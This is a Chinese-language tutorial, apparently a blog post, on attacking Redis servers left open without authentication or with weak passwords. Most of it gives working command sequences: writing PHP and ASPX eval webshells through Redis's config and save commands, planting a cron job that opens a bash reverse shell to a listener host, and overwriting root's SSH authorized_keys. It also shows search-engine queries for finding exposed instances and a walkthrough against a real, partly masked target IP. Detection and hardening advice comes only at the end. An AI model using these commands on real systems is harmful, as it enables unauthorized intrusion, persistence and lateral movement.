前言

​ Redis在大公司被大量应用,通过笔者的研究发现,目前在互联网上已经出现Redis未经授权病毒似自动攻击,攻击成功后会对内网进行扫描、控制、感染以及用来进行挖矿、勒索等恶意行为,早期网上曾经分析过一篇文章“通过redis感染linux版本勒索病毒的服务器”(http://www.sohu.com/a/143409075_765820),如果公司使用了Redis,那么应当给予重视,通过实际研究,当在一定条件下,攻击者可以获取webshell,甚至root权限。

Redis简介及搭建实验环境

简介

Remote Dictionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是字符串(String), 哈希(Map), 列表(list), 集合(sets) 和有序集合(sorted sets)等类型。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。目前最新稳定版本为4.0.8。

Redis默认端口

Redis默认配置端口为6379,sentinel.conf配置器端口为26379

官方站点

https://redis.io/

http://download.redis.io/releases/redis-3.2.11.tar.gz

安装 redis

wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar –xvf redis-4.0.8.tar.gz
cd redis-4.0.8
make

最新版本前期漏洞已经修复,测试时建议安装3.2.11版本。

修改配置文件 redis.conf

cp redis.conf ./src/redis.conf
bind 127.0.0.1  前面加上#号注释掉
protected-mode 设为 no
​
启动 redis-server
./src/redis-server redis.conf

​ 最新版安装成功后,如图1所示。默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件。

连接Redis服务器

交互式方式

redis-cli -h {host} -p {port} 方式连接,然后所有的操作都是在交互的方式实现,不需要再执行redis-cli了,例如命令:

redis-cli -h 127.0.0.1-p 6379
​
加-a参数表示带密码的访问

命令方式

redis-cli -h {host} -p {port} {command} 直接得到命令的返回结果.

常见命令

命令 描述
info 查看信息
flushall 删除所有数据库内容
flushdb 刷新数据库
KEYS * 查看所有键,使用 select num 可以查看键值数据
set test “who am i” 设置变量
config set dir dirpath 设置路径等配置
save 保存
get 变量 查看变量名称

更多命令可以参考文章:https://blog.csdn.net/whatday/article/details/102924661

相关漏洞

​ 因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据,其漏洞可导致敏感信息泄露(Redis服务器存储一些有趣的session、cookie或商业数据可以通过get枚举键值),也可以恶意执行flushall来清空所有数据,攻击者还可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接免密码登录服务器,其相关漏洞信息如下:

Redis 远程代码执行漏洞(CVE-2016-8339)

​ Redis 3.2.x < 3.2.4版本存在缓冲区溢出漏洞,可导致任意代码执行。Redis数据结构存储的CONFIG SET命令中client-output-buffer-limit选项处理存在越界写漏洞。构造的CONFIG SET命令可导致越界写,代码执行。

CVE-2015-8080

​ Redis 2.8.x在2.8.24以前和3.0.x 在3.0.6以前版本,lua_struct.c中存在getnum函数整数溢出,允许上下文相关的攻击者许可运行Lua代码(内存损坏和应用程序崩溃)或可能绕过沙盒限制意图通过大量,触发基于栈的缓冲区溢出。

CVE-2015-4335

Redis 2.8.1之前版本和3.0.2之前3.x版本中存在安全漏洞。远程攻击者可执行eval命令利用该漏洞执行任意Lua字节码

CVE-2013-7458

​ 读取“.rediscli_history”配置文件信息

Redis攻击思路

内网端口扫描

nmap -v -n -Pn -p 6379 -sV --scriptredis-info 192.168.56.1/24

通过文件包含读取其配置文件

​ Redis配置文件中一般会设置明文密码,在进行渗透时也可以通过webshell查看其配置文件,Redis往往不只一台计算机,可以利用其来进行内网渗透,或者扩展权限渗透。

使用Redis暴力破解工具

https://github.com/evilpacket/redis-sha-crack,其命令为:

node ./redis-sha-crack.js -w wordlist.txt -s shalist.txt 127.0.0.1 host2.example.com:5555

需要安装node:

git clone https://github.com/nodejs/node.git
chmod -R 755 node
cd node
./configure
make

msf下利用模块

auxiliary/scanner/redis/file_upload    normal     Redis File Upload
auxiliary/scanner/redis/redis_login    normal     Redis Login Utility
auxiliary/scanner/redis/redis_server   normal     Redis Command Execute Scanner

Redis漏洞利用

获取webshell

​ 当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell,前提是知道物理路径,精简命令如下:

config set dir E:/www/font
config set dbfilename redis2.aspx
set a "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
save

反弹shell

(1)连接Redis服务器

redis-cli –h 192.168.106.135 –p 6379 

(2)在192.168.106.133上执行

nc –vlp 7999

(3)执行以下命令

set x "\n\n* * * * * bash -i >& /dev/tcp/192.168.106.133/7999 0>&1\n\n"
config set dir /var/spool/cron/
ubantu文件为:/var/spool/cron/crontabs/
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save

免密码登录ssh

ssh-keygen -t rsa
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZA3SEwRcvoYWXRkXoxu7BlmhVQz7Dd8H9ZFV0Y0wKOok1moUzW3+rrWHRaSUqLD5+auAmVlG5n1dAyP7ZepMkZHKWU94TubLBDKF7AIS3ZdHHOkYI8y0NRp6jvtOroZ9UO5va6Px4wHTNK+rmoXWxsz1dNDjO8eFy88Qqe9j3meYU/CQHGRSw0/XlzUxA95/ICmDBgQ7E9J/tN8BWWjs5+sS3wkPFXw1liRqpOyChEoYXREfPwxWTxWm68iwkE3/22LbqtpT1RKvVsuaLOrDz1E8qH+TBdjwiPcuzfyLnlWi6fQJci7FAdF2j4r8Mh9ONT5In3nSsAQoacbUS1lul root@kali2018\n\n\n"
save

执行效果如图2所示:

使用漏洞搜索引擎搜索

(1)对“port: 6379”进行搜索

https://www.zoomeye.org/searchResult?q=port:6379

(2)除去显示“-NOAUTH Authentication required.”的结果,显示这个信息表示需要进行认证,也即需要密码才能访问。

(3)https://fofa.so/

关键字检索:port=”6379″ && protocol==redis && country=CN

Redis账号获取webshell实战

1.扫描某目标服务器端口信息

​ 通过nmap对某目标服务器进行全端口扫描,发现该目标开放Redis的端口为3357,默认端口为6379端口,再次通过iis put scaner软件进行同网段服务器该端口扫描,如图3所示,获取两台开放该端口的服务器。

2.使用telnet登录服务器

使用命令“telnet ip port”命令登录,例如 telnet 1**.**.**.76 3357,登录后,输入auth和密码进行认证。

3.查看并保存当前的配置信息。

通过“config get命令”查看dir和dbfilename的信息,并复制下来留待后续恢复使用。

config get dir
config get dbfilename

4.配置并写入webshell

(1)设置路径

config set dir E:/www/font

(2)设置数据库名称

将dbfilename对名称设置为支持脚本类型的文件,例如网站支持php,则设置file.php即可,本例中为aspx,所以设置redis.aspx。

config set dbfilename redis.aspx

(3)设置webshell的内容

根据实际情况来设置webshell的内容,webshell仅仅为一个变量,可以是a等其他任意字符,下面为一些参考示例。

set webshell "<?php phpinfo(); ?>" //php查看信息
set webshell "<?php @eval($_POST['chopper']);?> " //phpwebshell
set webshell "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
// aspx的webshell,注意双引号使用\"

(4)保存写入的内容

​ save

(5)查看webshell的内容

​ get webshell

完整过程执行命令如图4所示,每一次命令显示“+OK”表示配置成功。

测试webshell是否正常

​ 在浏览器中输入对应写入文件的名字,如图5所示进行访问,出现类似:

“REDIS0006?webshell’a@H搀???”则表明正确获取webshell。

6.获取webshell

如图6所示,使用中国菜刀后门管理连接工具,成功获取该网站的webshell。

7.恢复原始设置

(1)恢复dir

config set dir dirname

(2)恢复dbfilename

config set dbfilename dbfilename

(3)删除webshell

del webshell

(4)刷新数据库

flushdb

8.完整命令总结

telnet 1**.**.**.31 3357
auth 123456
config get dir
config get dbfilename
config set dir E:/www/
config set dbfilename redis2.aspx
set a "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
save
get a

9.查看redis配置conf文件

​ 通过webshell,在其对应目录中发现还存在其它地址的redis,通过相同方法可以再次进行渗透,如图7所示,可以看到路径、端口、密码等信息。

Redis入侵检测和安全防范

入侵检测

检测key

​ 通过本地登录,通过“keys *”命令查看,如果有入侵则其中会有很多的值,如图8所示,在keys *执行成功后,可以看到有trojan1和trojan2命令,执行get trojan1即可进行查看。

linux下需要检查authorized_keys

​ Redis内建了名为crackit的key,也可以是其它值,同时Redis的conf文件中dir参数指向了/root/.ssh, /root/.ssh/authorized_keys 被覆盖或者包含Redis相关的内容,查看其值就可以直到是否被入侵过.

对网站进行webshell扫描和分析

发现利用Redis账号漏洞的,则在shell中会村在Redis字样。

对服务器进行后门清查和处理

修复办法

(1)禁止公网开放Redis端口,可以在防火墙上禁用6379 Redis的端口

(2)检查authorized_keys是否非法,如果已经被修改,则可以重新生成并恢复,不能使用修改过的文件。并重启ssh服务(service ssh restart)

(3)增加 Redis 密码验证

​ 首先停止REDIS服务,打开redis.conf配置文件(不同的配置文件,其路径可能不同)/etc/redis/6379.conf,找到# requirepass foobared去掉前面的#号,然后将foobared改为自己设定的密码,重启启动redis服务。

(4)修改conf文件禁止全网访问,打开6379.conf文件,找到bind0.0.0.0前面加上# (禁止全网访问)。

可参考加固修改命令

命令 描述
port 修改redis使用的默认端口
bind 设定redis监听的专用IP
requirepass 设定redis连接的密码
rename-command CONFIG “” 禁用CONFIG命令
rename-command info info2 重命名info为info2

redis 漏洞利用与防御相关推荐

  1. redis漏洞利用总结

    前言 redis属于非关系型数据库,在开启后默认监听端口为6379.若Redis配置不当可导致攻击者直接获取到服务器的权限. 利用条件:redis以root身份运行,存在未授权访问,弱口令或者口令泄露 ...

  2. CSRF漏洞利用以及防御手段(详细解释)

    基础知识 CSRF漏洞基础知识 靶场实验(DVWA) DVWA security:low 查看源码 <?phpif( isset( $_GET[ 'Change' ] ) ) {// Get i ...

  3. 渗透测试技巧之Redis漏洞利用总结

    1.未授权访问 2.获取webshell 3.获取root 4.通过redis提权 5.其他的一些利用 6.redis安全配置 测试环境  CentOS 6.5 x64 Redis介绍 Redis是一 ...

  4. csrf漏洞防御方案_变量覆盖漏洞利用及防御方案

    一.漏洞简介 变量覆盖漏洞是指攻击者使用自定义的变量去覆盖源代码中的变量,从而改变代码逻辑,实现攻击目的的一种漏洞.通常来说,单独的变量覆盖漏洞很难有利用价值,但是在与其他应用代码或漏洞结合后,其造成 ...

  5. 漏洞检测与防御:Redis未授权访问漏洞复现

    漏洞检测与防御:Redis未授权访问漏洞复现 1. 未授权访问漏洞 未授权访问漏洞可以理解为安全配置.权限认证.授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库.网站目录等敏感 ...

  6. [系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)及防御详解

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  7. [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  8. [系统安全] 八.Windows漏洞利用之CVE-2019-0708复现及防御详解

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  9. sql md5函数_【学习笔记】常见漏洞:SQL注入的利用与防御

    第   21 课   SQL注入的利用与防御 课程入口(付费) 个人背景 李,本科,电子信息工程专业,毕业一年半,有JavaScript的,PHP,Python的语言基础,目前自学网络安全中. SQL ...

最新文章

  1. 《今日简史》读书笔记(未完待续)
  2. 产品经理心中都住着一个段子手?看看他们如何相爱相撕的...
  3. VS 2010 测试功能学习(八) - RnP与Coded UI测试(继续篇)
  4. HDP安全之集成kerberos/LDAP、ranger;安装部署kerberos;安装Knox;安装LDAP;启动LDAP;验证Knox网关
  5. python 面向对象之:反射,双下方法
  6. Fletcher-Reevers Conjugate Descent和Steepest Descent两种算法中伪代码的区别
  7. 机器学习实验中的编程技术(part1)--numpy
  8. 不止代码:ybtoj-消除木块(区间DP)
  9. 通过标准的 ASP.NET 控件来使用 jQuery UI
  10. spring 4 异常HttpMediaTypeNotAcceptableException解决方案
  11. PLinux设计初步设想
  12. stm32产生100k时钟信号_stm32定时器时钟源时钟选择
  13. 计算机关机管理软件,局域网管理利器--大势至远程开关机工具
  14. 计算机相关论文摘要,计算机类论文摘要
  15. 师范类大学计算机排名,2018中国师范类大学排行榜,北京师范大学第一
  16. 武大女硕士面试被拒,改简历冒充本科生找工作的感想(原创)
  17. 三层交换机和路由器有什么区别:
  18. Linux驱动开发系列之一:Ubuntu 8.10下编译Linux kernel 2.6.32.1
  19. Redis相关面试题
  20. 管理感悟:如何成为一名合格的管理者

热门文章

  1. FD.io/VPP — Overview
  2. VMware 接入 Openstack — 使用 Openstack 创建 vCenter 虚拟机
  3. Linux下root修改密码报错解决方案
  4. priority queue
  5. 磁盘及文件系统管理(三)
  6. Facebook的「下一代 AI 计算平台」长什么样子?
  7. node.js项目应用
  8. LAMP编译安装(一)——安装Apache2.4
  9. iOS开发之autoLayout constraint
  10. java的静态内部类